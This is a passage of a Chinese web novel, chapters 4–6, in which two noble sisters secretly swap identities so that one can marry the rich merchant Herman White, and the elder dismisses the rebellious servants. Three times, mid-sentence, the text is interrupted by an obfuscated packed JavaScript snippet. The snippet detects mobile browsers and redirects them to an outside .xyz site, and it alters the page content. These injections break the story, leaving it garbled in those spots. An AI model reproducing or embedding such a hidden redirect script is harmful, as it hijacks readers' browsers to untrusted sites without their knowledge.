“所以,这件事将是绝密。从今天起,贝拉就是奥黛丽,奥蒂就是伊莎贝尔。”玛丽郑重道,“孩子们,在正式出嫁前,你们绝不能将此事泄露一星半点。出嫁后,千万谨言慎行,不要暴露。特别是……奥蒂。” 奥黛丽握紧双拳,心里不由得紧张。 简妮也思虑起来:“斯宾塞公爵府在汉克郡,赫尔曼家族在肯特郡,都与我们相距甚远。两个孩子长相相似,不是熟悉的人,也很难分辨。” 奥黛丽点点头:“是的,那位与我有一面之缘的贾维斯爵士,上次宣布女王谕旨时,也没认出我。” 姐妹俩有着相似的金发和蓝眼睛,虽然神韵气质不同,但用来应付陌生人足矣。 “但愿一切顺利。”讨论结束,玛丽叹息一声,在胸口画十字。 “上帝保佑,我们经不起波折了。”简妮闭眼祷告。 安娜也跟着祝祷。 三位卡文女士共同许愿,两位诺曼女士也看向彼此。 奥黛丽眨了眨蓝眼睛,忽然说:“姐姐,我明白,你又在骗我。” 伊莎贝尔但笑不语,提着烛台,缓缓走向旋转楼梯。 姐姐走在前,妹妹踩着影子跟在后,还像小时候的跟屁虫。 “你在哪里都能过得好,无论是斯宾塞家,还是赫尔曼家,又或者是任何地方。”奥黛丽神情寂寥,“你提出的种种假设,只是为了我能够坦然跟你交换。你只是……” 她吸了吸鼻子,忍住哭腔:“希望我过得好。” 伊莎贝尔步伐平缓,静静听着身后的抽泣。良久,她停住脚步,站在卧室门边,回头笑道:“到了,奥蒂。” 烛火照亮奥黛丽哭花的脸,她终于忍不住,扑进姐姐的怀里。 “奥蒂,我之所以要跟你交换,不是刻意奉献牺牲,那还谈不上。”伊莎贝尔轻拍她的背,眸光含笑,“你可以当作是姐姐送你的礼物。这和教你学数算没什么不同。只是给了你另一条路。” “至于为什么骗你嘛,很简单。”她耸了耸肩,“记不记得,你小时候怕黑,不愿意分房睡,我很烦,就哄你说独立睡觉的孩子会收到礼物,从那天起,你勇敢迈出了第一步。” 奥黛丽点点头,发出带有鼻音的闷哼声。 “今天,我只是用善意的谎言诱导你接受第一步,之后的路,还要靠你自己走。”伊莎贝尔帮她拧开卧室门,冰蓝色的眼睛倒映着烛光,她顿了顿,“作为姐姐,我只能送你一程。” “当然,也是我的私心,我想送你到这里。”伊莎贝尔将烛台递给奥黛丽,眸光平静温和,“也只能送你到这里。” 奥黛丽握住烛台,温热的蜡水落在掌心,一股灼烧感自心底升起。她怔然望着姐姐离开,恍惚觉得,内心除了悲伤,还莫名生出了勇气。 她推开卧室门,用姐姐给的烛火照亮漆黑的房间,去寻找那份可能存在的礼物。 4. 第 4 章 “交换行动”经过几位女士的讨论,已经初步敲定。 出于不信任,玛丽对安娜耳提面命,让她再三发誓一定管住自己的嘴巴。可怜的安娜被迫许下一堆毒誓。 时间太紧,后天中午赫尔曼就会到访,一旦交换,就没有回头路。如果无法保守这个秘密,对所有人都是毁灭性的灾难。谨慎起见,简妮连爱德华都没有告知。 夜幕降临,卡文家的三位女士终于各自回房休息。 度过一开始的慌乱无措,彻夜讨论后,几位女士反而安下心来,面对未知的命运有了几分渺茫希望。 然而被蒙在鼓里的其他人,却并不安定。 众所周知,任何老牌贵族家里总有一位作风老派,严谨忠诚的管家。诺曼庄园的米歇尔太太无疑是其中的代表人物。 深夜,女管家米歇尔照例安排三等女仆前去照顾客人,但是三催四请,依然没有人端着洗漱用品出来。米歇尔太太只好亲自去一楼查看。 “姑娘们,我想你们应该还没有到耳背的年纪,安娜夫人现在需要一名女仆,请动作快一些!”米歇尔太太敲开仆人休憩室的门。 几个女仆谈笑声戛然而止,看见素有威严的米歇尔太太,她们竟然也不起身。 一个年轻姑娘浑不在意,冷笑道:“米歇尔太太,我劝你省省吧,庄园就要破产了!别说照顾那位穷亲戚,就算是老爷和夫人也别想使唤我一根手指头!” “是啊,现在大家都在另谋出路,也许照顾玛丽夫人是项好差事,假如她同意带我去伯爵庄园的话。”另一个姑娘用夸张的表情调侃,“噢!出于好心,奉劝您也赶快另谋高就吧!” 米歇尔气得脸色通红:“谢谢你的好意!但是我不像你们一样没廉耻,我忠于诺曼家族!” “哦,棒极了!你忠诚的雇主诺曼老爷已经是个穷光蛋了!这个月的薪水都没发!谁爱干谁干吧!”一个女仆将围裙扯开愤怒地扔进壁炉里。 “就是!必须立刻发薪水!否则我们全都辞职!” 其他女仆纷纷应和,壁炉里烧掉了好几条围裙。 动静闹大,引来隔壁的男仆也加入抗议队伍,事情愈演愈烈。 米歇尔颤抖着嗓音:“上帝啊!你们是要造反吗?今天还没到发薪日,你们着什么急?!听着,再闹下去,我绝不会为你们其中的任何一位写介绍信!再也不会有贵族庄园的大门向你们敞开!我保证!” “恐怕这威胁不到我们,米歇尔太太!”年轻的女仆牙尖嘴利,“我们要求立刻发薪!别想拖延时间,掩盖庄园破产的事实!” “发薪!发薪!” 仆人纷纷响应,场面乱成一团,显然他们从赫尔曼到来的那一天开始,便密谋抗议。 米歇尔是位年近六十的妇人,在这样强烈的冲击下,几乎要昏倒。 紧要关头,一道身影缓缓出现,伴随着规律的脚步声。 “晚上好,诸位。”伊莎贝尔步伐优雅,淡金色直发散在肩头,身上只披着一件薄外套,像是刚从睡梦中醒来,“我想我们不该度过一个喧嚣的夜晚,介意让我为你们分忧吗?” 庄园的主人们很少出现在仆人区域,见到伊莎贝尔,刚才还喧闹的众人,下意识收声。刻在骨子的习惯,令他们第一时间肃立颔首:“伊莎贝尔小姐。” “伊莎贝尔小姐!这里发生了严重的……”米歇尔立刻就要告状,却被那位牙尖嘴利的女仆打断。她一通抢白,态度倒不像刚才那样尖锐,只表达了发薪水的诉求。 伊莎贝尔没有立刻回答。 对峙期间,女仆无形中成为众仆的领头羊,底气十足,原本低垂的头颅越抬越高,甚至带有隐隐挑衅,“……就是这样,如果今天不提前发薪水,我们就会集体辞职。您该明白,这是任何富有名望的庄园都难以承受的屈辱。” 抗议的仆众有恃无恐,他们拿准了贵族的虚荣。 伊莎贝尔忽然抬眸,眼底神情喜怒难辨,声音倒一如既往的平静:“很好,既然如此,烦请米歇尔太太登记各位的名字,再去拿钱吧。” 米歇尔一怔:“不,小姐……一旦开了这个头,他们……” “去吧。”伊莎贝尔重复,“找我的贴身女仆露西,她知道我保险箱的钥匙。” 米歇尔拧紧眉头,暗叹年轻的小姐果然容易被刁仆哄骗,忠诚的本能却使她奉命照办。 “是,伊莎贝尔小姐。” 诺曼庄园虽然财务状况堪忧,伊莎贝尔却有着数目可观的私房钱。这是她闲着无聊,想了解当下经济环境时用零花钱投资赚的,不算巨额,但足够应付发薪风波。 米歇尔上二楼找露西的动静,不可避免地吵醒了简妮和玛丽。 听说了下面的骚乱,简妮立刻就要行动,“这件事让我料理,贝拉还年轻。” “不,简妮,这只是一个无伤大雅的小麻烦。”玛丽阻止简妮,眸光深沉,“假如,我是说假如……贝拉连这都应付不了,我们该重新考虑那个计划的可行性了。” 简妮一愣,沉思片刻,点了点头:“你说得对,玛丽。” 她松开紧攥的手,担忧地看着米歇尔与露西交涉,又飞快回到一楼。 仆人们看到米歇尔真的把钱带来,从不可置信转为狂喜。 米歇尔不情不愿地为他们登记名字,又让露西帮忙发放薪水,很快所有人都领到了。 有几个不住在庄园内的仆人,闻讯赶来,也被妥善接待。 伊莎贝尔靠着墙壁,蓝眼睛似笑非笑地打量众人,看到忙碌的露西——自己的贴身女仆,忽然开口问:“你不需要领吗?露西。我想这是个好机会。” 露西一怔,很快摇头:“不,每个月的最后一天才是发薪日。非常感谢小姐的美意,但我更愿意耐心等待。” 伊莎贝尔没再劝说,只是含笑望着她。 露西是个没有父母的可怜孩子,十五岁那年就进入庄园工作,伊莎贝尔看中她的沉稳安静,提拔她成为贴身女仆。这件事一度让其他资历深厚的竞争者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902041|176683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感到不忿。毕竟露西太过老派,固执得像是米歇尔太太的年轻版。这让她在年轻人群体里显得格格不入。 当然,庄园里更多的是机灵果敢的伙计。 正如此刻,领到薪水的众人喜笑颜开,全然忘了半小时前的丑态,“还是伊莎贝尔小姐善良宽厚,愿意体谅我们的辛苦!” 刚才牙尖嘴利的女仆得意洋洋,挑衅地看着米歇尔:“是啊,不像某些人,还敢用介绍信威胁我们!很抱歉,有伊莎贝尔小姐的挽留,往后大家依然要竭诚为诺曼家族服务。” 米歇尔被众仆嘲弄得脸色铁青,“你!” “不,我想这其中有些误会。”沉默许久的伊莎贝尔,终于在风波尾声中再次开口。 她缓缓举起米歇尔登记的名册,笑容和煦:“这上面的人,恭喜你们,可以离开了。” “离开?!” 一瞬间,犹如凉水兜头浇下,众人炸开锅。 “不!伊莎贝尔小姐,你是不是弄错了?!” “我们离开庄园还能去哪?!” 伊莎贝尔垂眸,将碎发挽至耳后:“如果我没听错,不久前,你们高喊着不发薪水就离开庄园。现在得到了钱,还能如愿以偿,怎么不高兴呢?” 众人一听,还有什么不明白?!这位小姐看似温和,实际上,早就做好了要他们自食恶果的准备! 领头羊女仆飞速想通所有关节,知道已至绝境,干脆豁出去,冷笑道:“伊莎贝尔小姐,我希望你慎重考虑这个决定,没有仆人的庄园就像裸|奔的国王,失去体面的遮羞布,再高贵的地位也会受人耻笑。老爷和夫人也绝不会允许你擅作主张。” “就是!把我们都辞退,尊贵的主人们怕是连吃饭睡觉都难以自理!” 这番话再次点燃众仆的信心,纷纷附和。 吵嚷声中,伊莎贝尔忽然轻笑,这笑声在此刻显得轻慢而讽刺。 她从露西搬下来的保险箱里,拿出仆人雇佣合同,手一松,纸张通通掉进壁炉里,火舌席卷,很快烧成灰烬,与围裙的碎片们躺在一处。 众人或惊恐尖叫,或愤怒抢救,不敢相信眼前这一幕。 年轻的小姐连一句解释都不屑,轻而易举,将代表男爵仆从身份的证据付之一炬。 这曾经是他们体面的证明!!现在……都没了!! “我的礼貌与涵养,总是让一些人误以为……拥有和我谈判的资格。”伊莎贝尔如来时那般闲庭信步,缓缓登上台阶。隐在暗处的侧脸眸光深邃,“你们,被解雇了。” 不顾身后的惊涛骇浪,伊莎贝尔拢着披肩,径直离去。 二楼角落里,玛丽眼底划过欣赏:“不错,这孩子拥有足够的魄力与决断。” 简妮担忧道:“可是,解雇所有的仆人,会不会太极端?后天就是赫尔曼到访的日子,如果被他发现异样……” 玛丽缓缓摇头,“我想贝拉不会鲁莽行事,这样做一定有她的道理。等明天的太阳升起,她会给我们答案。” 5. 第 5 章 次日上午七点,爱德华像往常一样醒来,并拉响床头的呼唤铃。等候的间隙,回忆起那些糟糕的坏消息,他脆弱的神经再次被压垮,长吁短叹半刻钟,却发现没听见妻子的安慰。 “简妮?亲爱的简妮!”他呼唤两声,伸手一摸,身边的被窝早已冰凉,爱德华惊讶嘟囔,“噢?不可思议!这才七点!结了婚的贵族太太怎么不在床上等候今日份的早餐和报纸?” 摘下眼罩和睡帽,爱德华拉开厚重的窗帘,美丽的诺曼庄园迎来全新的早晨,阳光刺得他睁不开眼。身后传来开门声,他自顾自道:“查理,你听候差遣的速度有些缓慢,这不该是我的贴身男仆应有的水准……” “不,爱德华,是我。” 爱德华一愣,回头看见简妮端着早餐托盘进来。 “简妮?”爱德华看着托盘上简陋的餐食,还有简妮没来得及摘掉的围裙,眼珠子快瞪了出来,“别告诉我这出自你的手笔!除非所有的仆人一夜之间蒸发了?!” “恐怕正如你所想。”简妮无奈点头。 “上帝啊,你在跟我开玩笑吗?”爱德华匪夷所思,“亲爱的,即便我的神经脆弱,但并不需要这样的调剂。” 简妮盯着爱德华,露出一个歉意的微笑。 爱德华怔住。 - 旋转楼梯上,爱德华步履匆匆,咚咚的脚步声引得餐桌旁的女士们纷纷回头。 长餐桌上摆着早点与牛奶,伊莎贝尔与奥黛丽相对而坐,二人身边分别是玛丽与安娜。 向来体面的绅士爱德华,此刻头发凌乱,穿着睡袍亮相在众人面前。 “贝拉!你太冲动了!诺曼家族在洛森郡有头有脸!不出意外,我们解雇所有仆人的消息已经传遍十里八乡!”面对女儿,爱德华头一次情绪激动,不顾简妮的拉扯说道,“好心的邻居卢卡斯上校还会推波助澜,告诉锡兰公国所有的贵族,老诺曼是个可怜虫!” “不,爱德华,你冷静点,别冲着孩子撒脾气。”简妮皱眉叹气,“如果不答应赫尔曼的婚约,我们的确要举债度日,没有仆人是早晚的事。你那天也言辞拒绝了他不是吗?贝拉只是帮我们做了这个艰难的决定。” 爱德华情绪低落了下去,无助地抱着头。 “抱歉,贝拉,好孩子。我真的不知道该怎么办。”他再次回到楼上,连早饭都没有心情吃。 伊莎贝尔目送他的背影消失,冰蓝色瞳孔泛起淡淡的笑意。 一帆风顺时,爱德华无疑是个好主人、好丈夫、好父亲。可当遇到波折,这位养尊处优的贵族先生就会缩进壳子里,试图以装聋作哑的方式逃避困难。 良知与教养告诉他,不可以屈服于债务,出卖女儿的婚姻。现实的压力又叫他承受不住,于是只好病倒,任由一切发生。即便只剩妻子和女儿硬扛着重担。 一楼,许多双眼睛窥探着餐厅里的争吵,来自于罢工但不肯离去的仆人们。 “瞧好了吧,诺曼先生一定会把我们请回来!任何贵族家庭绝不会任由一位年轻小姐指手画脚!” 笑话,离开这里?贵族庄园是这么好进的吗?大家又不傻! 他们最擅长审时度势——集体要求提前发薪试探庄园的财务状况与底线;得到了令人安心的钱财便知道困难会迎刃而解;身为贵族体面的遮羞布,他们底气十足,以此与主人家对峙。 然而,作出解雇决定的伊莎贝尔小姐,并没有露出丝毫愁容。 “很抱歉,妈妈,昨晚没有提前告知你。”伊莎贝尔喝完牛奶,优雅地擦拭嘴角。 “没关系,贝拉。但……”简妮摇头,看了看暗处窥探的仆人们,忧心忡忡,“他们不肯离去,我们该怎么办?” 晨起做饭的时候,心善的夫人就遇到诸多求情,说自己上有老下有小的,说年迈生病的等等,但简妮吸取了从前心软的教训,没有答应。 “放心,我早有准备。”伊莎贝尔放下餐巾,挥了挥手,“露西。” 红头发小女仆颔首,立刻朝外跑去。众女士疑惑对视,片刻后,身穿制服的大胡子男人,领着一众卫兵气势汹汹而来。 “治安官?!”简妮瞪大眼睛,“噢!贝拉!这会不会太……” 残忍。 这个单词在喉间酝酿,最终没有说出口。 很快,仆人房里传来一连串的骚动。不愿离开的人被治安官以“非法闯入民居”的罪名强行轰走。几位年老的仆人哭天喊地,有一个甚至扑倒在简妮的脚边。 “不,夫人,是我鬼迷心窍,我发誓只要您愿意留下我,我绝不会再有二心!” 简妮面露不忍,试探地看向伊莎贝尔:“贝拉……” 伊莎贝尔抬眸看向大胡子,“治安官阁下,辛苦你了。” 大胡子摘帽行礼:“为您效劳是我的荣幸,诺曼小姐。” 年迈厨娘哭喊着,被强行拖走。 那位牙尖嘴利的女仆走在最后,从强硬到求饶,最后知道全无希望,又恢复了冷傲。临走时,她狠狠盯着伊莎贝尔的背影,一字一顿道:“希望您永远如此傲慢无情!等着吧!你迟早会有报应。” 时下,平民敢对贵族不敬甚至诅咒,是极其恶劣大胆的行径。这触怒了在场所有女士,只是涵养使得她们克制情绪。 简妮终于硬起心肠,“请你出去,这里不欢迎你,杰西卡!” 那位名叫杰西卡的女仆甩开治安兵的手,大步走了出去。下台阶时,她听见身后传来熟悉的声音,缓慢而优雅的腔调——“欢迎你的报复,杰西卡小姐。” 对方的平静让杰西卡愤怒握拳,一脚踢飞路边的石头。 骚乱终于平息,治安官们礼貌告辞,空荡的大厅只剩五位女士相对而坐。 玛丽喝了口咖啡,粗糙的口感令她微微皱眉,“好了,伊莎贝尔小姐,现在你可以为我们答疑解惑。” “抱歉,亲爱的,我的手艺无法与专业人士相比。”简妮向玛丽投以抱歉的眼神,为她换上新鲜烹煮的红茶,又端了一杯递给大女儿,“贝拉,虽然我完全尊重你的决定,但……如果按照我们的计划进行,赫尔曼的债务会一笔勾销,诺曼庄园实在不必开除所有仆人。这会增添不必要的麻烦,不是吗?” “简妮!你做的饼干太硬了!果然贵族太太当久了,烹饪技能就会退步。”安娜咬着果酱饼干,嘟囔,“依我看,贝拉简直是费力不讨好!除了会落得一身埋怨,令诺曼家族臭名远扬,还要选一批新仆人!噢,别这么看着我,简妮,难道男爵夫人要做一辈子饭吗?还是硬得嚼不动的面包!这太可笑了!” “安娜姨妈,妈妈做饭已经很辛苦了!别再抱怨,拜托了。”奥黛丽无奈看着安娜,为她递上红茶,又给自己端了一杯,顺势坐到姐姐身边,“虽然我不明白,但我相信你,贝拉。” “谢谢你无条件的信任,奥蒂。”伊莎贝尔轻笑,“但……容我提醒各位,从此刻开始,我就是奥黛丽·诺曼,而你,就是伊莎贝尔·诺曼。不光在座的人要记住这一点,庄园的仆人更是不能出现意外。” 闻言,众人瞪大眼睛,终于意识到被忽略的细节。 玛丽微微蹙眉,旋即懊悔:“是的,我明白了……我们粗心大意了。交换新娘的事情,可以瞒住陌生人,却瞒不住熟知庄园底细的仆人。” 她们计划在赫尔曼到来的当天,用最短的时间行动。但是,再隐秘的流程,也难以逃过那十几双眼睛。 “即便不闹罢工,我也会解雇他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902042|176683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们。只是这场风波给了我更恰当的理由,这也足以证明,他们的忠诚无法达到保守秘密的程度。”伊莎贝尔缓缓道,“不如趁此机会换上新人,并向他们介绍……” “伊莎贝尔小姐。”伊莎贝尔用扇子指了指奥黛丽,又指向自己,“和我,奥黛丽小姐。” 奥黛丽被冠以姐姐的名字,新奇又紧张,嘴里呢喃:“是的,我要牢牢记住,我是伊莎贝尔·诺曼。” 伊莎贝尔看着妹妹,忍不住发笑,拨了拨她的小卷毛,“放轻松,除了变换名字,你只需要做自己。这座庄园外的人并不了解两位诺曼小姐有什么分别。” 玛丽脸上露出笑容,赞赏道:“亲爱的贝……不,奥蒂!你的缜密足以让我们放宽心。现在,是时候物色新的佣人了。否则空荡的庄园会让赫尔曼先生起疑。” “‘奥黛丽·诺曼’感谢姨妈的赞赏。”伊莎贝尔颔首微笑,“不过,新的佣人已经再路上了,今晚将由米歇尔太太带领他们学规矩。” 这一刻,玛丽当真惊叹不已,“噢!你是说,一晚上的时间,你筹谋了这么多事情!我的好姑娘!真是好样的!” 简妮也终于放松下来,在胸前画十字:“贝拉从不让我们操心。” “不,妈妈,是‘奥蒂’!”奥黛丽板着小脸提醒。 简妮捂嘴:“对!对!奥蒂!你才是贝拉!” 几位年长的女士像奥黛丽一样,时刻在心里默念,强行改变自己的习惯。 安娜姨妈突然面露古怪,看向角落。 那里,米歇尔太太带着仅剩的两位女仆正在候命——其中一位是露西,另一位是奥黛丽的贴身女仆,艾米丽。 “玛丽,请你拿出质疑我的态度说说贝……奥蒂吧!”安娜阴阳怪气,压低着声音含糊道,“除非那三位女士像我昨晚一样发毒誓,否则我可不信她们会保守秘密!” 闻言,众人隐晦地扫了一眼三位佣人。 奥黛丽不赞同,但配合着压低声音:“安娜姨妈,米歇尔太太忠诚可靠,在庄园服务了数十年,绝对可信。艾米丽是我的贴身女仆,我敢保证她的人品。还有露西,她也是个好姑娘!” 安娜姨妈哼哼:“在可爱的小诺曼眼里,世界上没有坏人!” 她摆明了不信奥黛丽,只将视线投向伊莎贝尔。对于这位大外甥女,安娜总是不敢造次,更不敢摆长辈的谱,只能窝囊地质疑着。 玛丽喝了口红茶,语气平淡:“她们可信吗?” “当然。”伊莎贝尔同姨妈对视,随意道,“任何小姐都该有贴身女仆。露西谨慎细心,会帮助‘伊莎贝尔小姐’更好地适应新环境。艾米丽要跟着我去斯宾塞公爵府。” “嗯,很合理的安排。”玛丽不再追问,报以全然的信任。 正如卡文三姐妹里,玛丽是说一不二的主心骨。现在,伊莎贝尔已经隐隐成为两代女性中的话事人,拥有不必解释自己决定的权力。 安娜嘟囔着:“我想还是逼她们发毒誓更牢靠!” 奥黛丽:“姨妈!连姐姐都认为她们值得信任,还有什么可怀疑的?” 水蓝色的眼睛看向伊莎贝尔,透着全然依赖的情绪。 伊莎贝尔轻笑,没有反驳:“是的,信任是可贵的品质。” 当然,她不会对天真的奥黛丽小姐解释其中的复杂算计。 三位女仆固然拥有忠诚的品质,但一无所有的家庭的关系才能将她们绑在同一条船上。必要的时候,她会用更加残酷的手段逼迫对方“效忠”。但是,智慧的人不会让自己落到图穷匕见的境地。 体面优雅且从容,才是掌控一切的体现。 准备就绪,伊莎贝尔缓缓放下茶杯,轻摇羽扇,静候明天的到来。 6. 第 6 章 洛森郡迎来难得的晴天,草坪绿意盎然,整个诺曼庄园都沐浴在阳光里,但温和的气候却并不使人心情愉悦。 四匹健壮的白马拉着一辆马车疾驰而来,后面跟着长串的车队。 首车内,赫尔曼·怀特撑着手杖,闭目细听查尔斯的汇报。专属律师将今天的计划安排详尽,预设种种可能与应对措施。 汇报完毕,查尔斯自觉能够得到赞扬,然而只等来一句冷淡的回应。 “嗯。” 查尔斯耸耸肩,并没有太过失望。他太了解自己的雇主——赫尔曼·怀特先生,一位彻头彻尾的商人。 从埃尔美联邦的底层平民,到一手缔造属于自己的商业帝国,现在还将手伸到了阶级分明的锡兰公国,坐上与贵族的谈判桌。种种堪称奇迹的现象,都源于这位银头发先生的冷酷手段与野心。 冷酷到……将婚姻当作谈判的筹码,以此为垫脚石,登上不属于他的天梯。 思绪抽离,查尔斯望向不远处的庄园,心中暗暗祈祷:但愿诺曼一家不要冥顽不灵,否则他将为这个家族的命运而哀悼。 “先生,到了。”查尔斯提醒。 车夫驾停马车,赫尔曼缓缓睁眼,深灰色的瞳孔倒映着庄园景象。 镶嵌名贵宝石的金属质手杖是财富的象征,此刻却随意地撑向地面,发出清脆的声响。微风拂动银灰色的长发,却对一丝不苟的亚麻白衬衫与外套毫无办法。俊美与肃穆矛盾地交融在一人之身,令花园里忙碌的新仆人们侧目。 “那是谁?” “快去通报老爷和夫人!” 姑娘们一面报信,一面忍不住回头偷看。 银头发先生对这些视线习以为常,一步步走向庄园,如前日那样。 - “他来了!”收到新女仆们的报信,安娜匆匆冲进房间。 二楼卧室里,女士们正端详着镜中的奥黛丽——淡金色卷发整齐地盘成花朵状,珍珠头冠恰到好处地点缀在发间,十足美丽的少女。 简妮为奥黛丽戴上白色珍珠耳环,吻了吻她的额头,忍不住落泪:“噢,亲爱的……” 奥黛丽回吻母亲,微笑:“妈妈,我做好面对一切的准备,别为我担心。” 玛丽拥抱奥黛丽:“我相信,流着卡文家族血液的诺曼女士,有着战胜所有困难的决心。” 奥黛丽:“我会的,玛丽姨妈。” 她站起身,依次吻过亲人。轮到伊莎贝尔,奥黛丽水蓝色眼睛泛起薄雾:“向你告别,亲爱的姐姐。” 伊莎贝尔像往常那样,抚摸她的小卷毛,却只摸到冰冷的发冠。 冰蓝色的眼睛含着笑意,她忽然将一个丝绒盒子递给奥黛丽,“你的结婚礼物。” 奥黛丽一怔,似乎还未将自己与“结婚”这个单词挂钩。 可是姐姐从容的语气将沉重的气氛一扫而空,仿佛在告诉她,这只是一场普通的婚姻,没什么可怕的。 玛丽、安娜和简妮都笑了起来。 是的,婚姻罢了。她们都经历过婚姻,幸运的,或不幸的。那又怎么样?如刚才所说,无论何种境地,女士们拥有战胜一切的信心。 此刻,奥黛丽才真正从强装的镇定中走出来。 楼下响起仆人们的问候声,还有熟悉的冷淡嗓音,来自那位赫尔曼先生。 “诺曼爵士,向您问好。” 奥黛丽手指无意识蜷缩,深吸一口气,拎着裙摆走出门。 一楼,直到早上才知道交换计划的爱德华·诺曼爵士,终于消化完震惊的情绪,却要立刻直面莅临的强盗。 “怀特先生,早上好。”爱德华脸色苍白,仍然行绅士礼节。 赫尔曼不会浪费时间在虚伪的寒暄里,他开门见山:“希望您已经做出明智的选择,现在,告诉我答案。” 爱德华深吸一口气,忍住痛心:“我答应……将伊莎贝尔·诺曼小姐,嫁给你。但……” “很好。”赫尔曼没有兴趣听完便打断,“查尔斯,给他。” 查尔斯悄悄松了口气,庆幸不必拿出另一只手上的债务合同,亲自摧毁这个家庭。 他笑意盈盈鞠躬,递上厚厚的纸张,并逐一介绍:“很高兴见证一桩美满的婚约,诺曼家族的债务将会一笔勾销,同时,贵府将得到肯特郡矿山开采权、占地两千亩庄园一座、以及三天后运达的珠宝瓷器,共价值十万锡兰币。敬请笑纳。” 十万锡兰币?! 全场鸦雀无声,所有人瞪大眼睛,都为这个数字震惊!新来的小女仆因为太过惊讶而手滑,摔碎了茶杯,但没有人责怪她。 因为连爱德华爵士都为此呆若木鸡! 知道赫尔曼有钱,但没想到这么有钱!十万是什么概念?锡兰公国的首相先生一年才赚五千!诺曼庄园年租金收入才三千! 此前,不是没听说过商人与小贵族的结合,但作为男爵家庭,如果聘礼能达到两万锡兰币已是极限。再往上,连伯爵家庭也很难达到十万。 在巨额财富的冲击下,没人能保持镇定,除了聘礼的提供者。 深灰色眼睛滑过不耐,赫尔曼冷淡开口:“如果满意这个价码,就在文件上签字,明天查尔斯会代理登报,公示婚约。” “等等!明天?!”爱德华不可置信,“先生,难道我的女儿不在洛森郡的教堂举行婚礼吗?” 赫尔曼沉默数秒,冷笑一声,眼底的嘲讽不言而喻。 爱德华瞪大眼睛,尊严受辱而产生的怒火下一刻就要爆发。 “不不不,诺曼爵士,我体谅您的爱女之心。请放心,怀特先生只是急着完婚!”查尔斯赶忙打圆场,笑容和煦,“您该理解,年轻富有的单身汉总是急于娶到一位美丽聪慧的妻子,我们会在肯特郡为诺曼小姐准备一场隆重的婚礼!保证从头到脚都镶嵌闪耀的宝石!不会令她遭受一点儿委屈!” 查尔斯语速飞快,用尽全力让场面变得更像一场和谐的订婚仪式,甚至俏皮地冲赫尔曼吹了个口哨,“你说是吧,怀特先生?真为你感到高兴,诺曼家的小姐可是美名远扬呢!” “美名远扬?”赫尔曼扯开唇角,面容平静地讽刺查尔斯,“她的长相对我而言并不重要。即便出众到能与阁下平分秋色……” 突然,二楼传来一道轻柔的嗓音。 “怀特先生。” 赫尔曼抬眸。 拎着华丽裙摆的少女拾级而下,头顶的珍珠冠冕在日光下闪耀,却比不过那双璀璨的水蓝色眼睛。 她缓缓靠近,直到离赫尔曼一步之遥才停下,端庄地行淑女礼。 “初次见面,感谢您的慷慨,让诺曼庄园幸免于难。作为报答,我愿意今天就跟你回肯特郡。” “很好……伊莎贝尔小姐。”赫尔曼盯着那双蓝眼睛,片刻后,淡漠地移开视线。 听见他喊出这个名字,奥黛丽心下一紧,很快舒展心神,装作若无其事。 “噢!尊敬的雇主阁下。”查尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902043|176683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯见缝插针地展示幽默,夸张的语气使他眉毛乱飞,“承认吧!诺曼小姐美貌非常,并没有丑得与鄙人一较高下!” 赫尔曼瞥了眼查尔斯,“合格的律师应该学会在恰当的时候闭嘴。” 说完,他头也不回地转身。 金属制手杖敲击大理石地面,伴随着规律的声响,冷淡的话语一并传来。 “上车。” 这句话是对奥黛丽说的。 即便对现在的场面有所准备,但在真正到来之际,她难免失落。 奥黛丽垂下头,蓝眼睛黯淡无光。 大部分纯真的少女都曾幻想过童话般的婚礼,和温柔深情的白马王子。然而现实是冰冷的交易,与立刻就要与家人分别的难过。 爱德华再也忍不住,放声大哭:“亲爱的,是爸爸对不起你!” 简妮冲下楼,抱着奥黛丽泣不成声。 两位姨妈同样眼眶通红。 伊莎贝尔垂下眼眸,并不出声劝慰。 发泄片刻的悲伤很有必要,但总得向前。 奥黛丽笑容灿烂,反过来劝慰家人:“大家别再难过了!我很好!虽然你们不能出席我的婚礼,但怀特先生承诺过,场面会很豪华,连婚纱都镶嵌钻石,想想都开心!” 安娜破涕为笑:“噢!小奥……小贝拉天生就是个快乐天使!” “当然!祝福我吧!记得告诉隔壁的卢卡斯小姐,我拥有最棒的婚礼!她一定羡慕极了!”奥黛丽骄傲地扬起下巴。 被奥黛丽的笑容感染,众人的悲伤一扫而空。 “是的,一定会的!只要是金钱能摆平的一切,怀特先生都能满足!”查尔斯语气轻快,“时候不早了,请出发吧,诺曼小姐!” 众人将奥黛丽送到草坪外,马车停在不远处。 迎着车内那道冰冷的视线,奥黛丽深吸一口气,缓缓上车。 等她坐稳,赫尔曼头也不抬地吩咐:“出发。” 